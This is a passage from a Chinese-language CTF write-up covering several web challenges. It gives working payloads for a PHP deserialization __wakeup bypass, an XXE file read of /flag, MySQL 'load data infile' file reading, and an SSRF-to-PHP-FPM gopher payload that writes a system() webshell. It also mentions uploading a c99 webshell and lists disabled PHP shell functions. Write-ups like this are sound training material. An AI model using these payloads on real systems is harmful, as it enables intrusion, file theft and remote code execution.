$overview;}echo'</table>';echo ' <h2>服务器性能测试</h2>';echo'<table><tr><td>服务器
</td><td>整数运算<br />50万次加法(1+1)</td><td>浮点运算<br />50万次平方根(3.14开方)
</td></tr>';echo'<tr><td>MKDuse的机子(P4 1.5G 256DDR winxp sp2)</td>
<td>465.08ms</td><td>466.66ms</td>
</tr>';$time_start=gettime();for($i=0;$i<=500000;$i++);
{$count=1+1;}$timea=round((gettime()-$time_start)*1000,2);echo ' <tr class="strong">
<td>当前服务器</td>
<td>'.$timea.'ms</td>';$time_start=gettime();for($i=0;$i<=500000;$i++);
{sqrt(3.14);} $timea=round((gettime()-$time_start)*1000,2);echo
'<td>'.$timea.'ms</td></tr></table>';?><script language="javascript"
type="text/javascript">function gettime(){ var time; time=new Date(); return
time.getTime();}start_time=gettime();</script><?php echo ' <h2>带宽测试</h2>';for
($i=0;$i<100;$i++){print "<!--
-1234567890#####0#####0#####0#####0#####0#####0#####0#
#####012345-->";}}><p id="dk"></p><script language="javascript"
type='text/javascript'>var timea;var netspeed;timea=gettime()-
start_time;netspeed=Math.round(10/timea*1000);document.getElementById("dk").inner
HTML="向客户端发送10KB数据, 耗时"+timea+"ms<br />您与此服务器的连接速度
为"+netspeed+"kb/s";</script><?php echo' <h2>已加载的扩展库(enable)</h2><div>';$arr
=get_loaded_extensions();foreach($arr as $value){ echo $value.'<br
/>';}echo'</div><h2>禁用的函数</h2><p>';$disfun=ini_get('disable_functions');if
(empty($disfun)){ echo'没有禁用</p>';}else{echo
ini_get('disable_functions').'/<p>';}}//关闭function superinfo(){echo'<h1>高级信息
</h1><p>PHP_INI_USER 1 配置选项可用在用户的 PHP 脚本或Windows 注册表中<br>
PHP_INI_PERDIR 2 配置选项可在 php.ini, .htaccess 或 httpd.conf 中设置
<br>PHP_INI_SYSTEM 4 配置选项可在 php.ini or httpd.conf 中设置 <br>PHP_INI_ALL 7 配
置选项可在各处设置</p>';$arr1=ini_get_all();for ($i=0;$i<count($arr1);$i++)
{$arr2=array_slice($arr1,$i,1);print_r($arr2);echo ' <br />';}}function
phpinfoview(){ phpinfo();}?></div></body></html>

```

#禁用函数

```

stream_socket_client,fsockopen,pfsockopen,ini_alter,posix_kill,putenv,pcntl_alarm,
pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsign
aled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_sign
al,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strer
ror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpri
ority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,pro
c_open,passthru,symlink,link,syslog,imap_open,dl,mail

```

最后找到php有个glob函数可以跨目录读取目录，上传脚本，并浏览器执行

```

<?php$fileList=glob('/*');for ($i=0; $i<count($fileList); $i++) {echo
$fileList[$i]. '<br />';}$fileList2=glob('images/*');for ($i=0;
$i<count($fileList2); $i++) {echo $fileList2[$i]. '<br
/>';}$fileList3=glob('*');for ($i=0; $i<count($fileList3); $i++) {echo
$fileList3[$i]. '<br />';}}?>

```

读取到关键内容,有flag和readflag两个文件, 接下来就是要读取文件。

```
bin dev etc flag home lib media mnt proc readflag root run sbin srv sys tmp usr
var
```

根据题目是源代码中含有数据库的相关信息, 上传一个c99大马, 需要请联系我, 以root进数据库, 查看数据库结构, 有个s_admin的表, 看到admin用户和passwd的加密形式, md5在线解密失败, 以为是mysql提权, 但是没有头绪, 最后想到mysql可能查看文件内容, 找到相关信息, 找到三种方法1.load_file(), 2.load data infile(), 3.system cat, 之前使用mysql调用系统命令, 但是失败了, 最后通过load data infile成功读取到文件内容。

```
<?php $con = mysql_connect("127.0.0.1","root","root");$select_db =
mysql_select_db('shopxo');if (!$select_db) { die("could not connect to the
db:\n" . mysql_error());} //查询代码$sql = "load data infile '/flag' into table
s_admin";$res = mysql_query($sql);if (!$res) { die("could get the res:\n" .
mysql_error());}while ($row = mysql_fetch_assoc($res)) { print_r($row);} //查询
代码//关闭数据库连接mysql_close($con);?>
```

浏览器执行该php, 虽然sql语句有问题, 但是显示出了flag

```
could get the res: Incorrect integer value: 'redrock{2cb81f52-257c-4187-8a5d-
9d3456007631}' for column `shopxo`.`s_admin`.`id` at row 1
```

ez_serialize:

进入网站就看见源码, 是经典的php反序列化。

```
<?php highlight_file(__FILE__);error_reporting(0);include "flag.php";class Test{
private $secret; function __construct($secret) { $this->secret=$secret;
} function __wakeup() { $this->secret="error"; } function
__destruct() { if ($this->secret === "admin") { global $flag;
echo $flag; } else { die("secret error!"); } }}$a =
$_GET[serialize];if (strpos($a, "secret")) { die("Go out!!Hacker!!");} else {
unserialize($a);}
```

首先接受一个serialize的参数, 通过strpos函数防止参数中含有secret字符串, 然后反序列化这个变量, 首先构造一个基础的payload=?serialize=O:4:"Test":1:{s:10:"%00Test%00secret";s:5:"admin";} (加上%00是因为secret是私有变量, 变量中的类名前后会有空白符), 但是这个过不去secret, 但是表示字符类型的s大写时, 会被当成16进制解析, 构造payload=?serialize=O:4:"Test":1:{S:12:"\00\54\65\73\74\00\73\65\63\72\65\74";s:5:"admin";}, 但是反序列化时会优先使用__wakeup方法(如果有的话), 这时就需要绕过wakeup, 这是个cve漏洞, 当反序列化字符串, 表示属性的个数大于真实的个数, 就会跳过wakeup执行。最终payload=?serialize=O:4:"Test":5:{S:12:"\00\54\65\73\74\00\73\65\63\72\65\74";s:5:"admin";} (这道题属性个数大于1即可)。

start xxe:

题目告诉是xxe类型的题，打开连接，看到是一个登录界面，查看源代码，有一个注释告诉了flag的位置。

```
<!--flag is in /flag-->
```

接下来使用burp抓包，随便写一个admin用户密码，发送。

```
//发送数据POST /doLogin.php HTTP/1.1Host: 2272c936-816d-4418-93ce-8d9184928b32.ctf.redrock.teamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0Accept: application/xml, text/xml, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/xml; charset=utf-8X-Requested-With: XMLHttpRequestContent-Length: 660origin: http://2272c936-816d-4418-93ce-8d9184928b32.ctf.redrock.teamConnection: closeReferer: http://2272c936-816d-4418-93ce-8d9184928b32.ctf.redrock.teamCookie: Hm_lvt_217f0d7270e06220a2ec9fbc0877488d=1636718269,1637038834,1637461650<user><username>admin</username><password>admin1</password></user>//返回数据HTTP/1.1 200 OKContent-Type: text/html; charset=utf-8Date: Sun, 21 Nov 2021 11:45:29 GMTServer: nginx/1.16.1X-Powered-By: PHP/7.4.5Connection: closeContent-Length: 62<result><code>0</code><msg>admin,xml login fail</msg></result>
```

看见返回了是用户名登录失败，开始构造一个任意文件读取的xxe的payload。

```
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY><!ENTITY xxe SYSTEM "file:///flag">]><user><username>&xxe;</username><password>admin1</password></user>
```

点击发送直接返回flag: redrock{e6c308c4-b14a-493e-b938-7347caecf6a8}。附带一个xxe的博客园:

<https://www.cnblogs.com/backlion/p/9302528.html>

start ssrf:

ssrf可以利用file:///协议读取本地文件，post传参url=file:///flag，没有内容显示，但是传参url=file:///etc/passwd会显示passwd的内容。说明file协议是有用的，构造一个payload看能否引起报错，url=file:///%00。

```
Warning: curl_setopt(): Curl option contains invalid characters (\0) in /var/www/html/index.php on line 5
```

出现路径，直接读取文件，payload:url=file:///var/www/html/index.php

```
<h1>star刚学了php, 他听说php自带curl的功能, 于是他写了个网页</h1><p>请post url</p><h2>请求结果</h2><h2><h1>star刚学了php, 他听说php自带curl的功能, 于是他写了个网页</h1><p>请post url</p><?php$ch = curl_init();curl_setopt($ch, CURLOPT_URL,$_POST['url']);curl_setopt($ch, CURLOPT_HEADER, 0);?><h2>请求结果</h2><h2><?phpecho curl_exec($ch);curl_close($ch);?></h2><script>console.log("hack by yyz!")</script>1</h2><script>console.log("hack by yyz!")</script>
```

没有进行任何过滤。后面发放提示是nginx和php结构，构造payload查看nginx配置文件，url=file:///etc/nginx/nginx.conf，才发现有fastcgi，fastcgi_pass 127.0.0.1:9000，这时利用ssrf攻击本地PHP-FPM服务，达到任意代码执行的效果。直接利用gopher工具构造payload。

```
# python gopherus.py --exploit fastcgi _____ . _ / _____ / _____
_____ | | _ _____ _ _ _____ / \ _ _ / _ \ \ _____ \ | | \ / _ _ \
_ \ | \ / _ _ \ \ \ \ ( <_> ) |_> > Y \ _ _ / | | \ / | \ \ _____ \ \ _____
/\ _____ / | _ _ / | _ _ | /\ _ _ > _ | | _ _ // _ _ > \ / | _ _ | \ /
\ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ /
author: $SpyD3r_$Give one file name which
should be surely present in the server (prefer .php file) if you don't know press
ENTER we have default one: /var/www/html/index.php /*前面获得的php绝对路径
*/Terminal command to run: echo
PD9waHAgc3lzdGVtKCRfUkVRVUUVTFVsnCGFzc3dvcmQnXSsk7Pz4= |base64 -d >
/var/www/html/shell1.php /*webshell base64写入, 原马是<?php
system($_REQUEST['password']);?>*/Your gopher link is ready to do
SSRF:gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%01%
04%00%01%01%05%05%00%0F%10SERVER_SOFTWARE%0Ego%20/%20fcgiclient%20%0B%09REMOTE_ADDR12
7.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH147%0E%04REQUEST_METHODPOS
T%09KPHP_VALUEallow_url_include%20%3D%200n%0Adisable_functions%20%3D%20%0Aauto_pre
pend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01D
OCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%93%04%00%3C%3F
php%20system%28%27echo%20PD9waHAgc3lzdGVtKCRfUkVRVUUVTFVsnCGFzc3dvcmQnXSsk7Pz4%3D%20
%7Cbase64%20-d%20%3E%20/var/www/html/shell1.php%27%29%3Bdie%28%27----Made-by-
SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00-----Made-by-SpyD3r-----
```

构造payload后进行一次url编码，(curl会进行一次解码)，成功写入木马，接下来使用即可。

payload=/shell1.php?password=ls /;发现数据: easy_ssrf_flag_bc85c363e9d6fbb576fb9a85632f5135, 以为这就是flag, 提交不对, 重新cat一下, payload=shell1.php?password=cat /easy_ssrf_flag_bc85c363e9d6fbb576fb9a85632f5135; (用file协议查看也可以)

最后得到flag: redrock{244ddb7b-d731-43f5-aeae-05332f02874e}(环境变动, 不是最开始的flag)。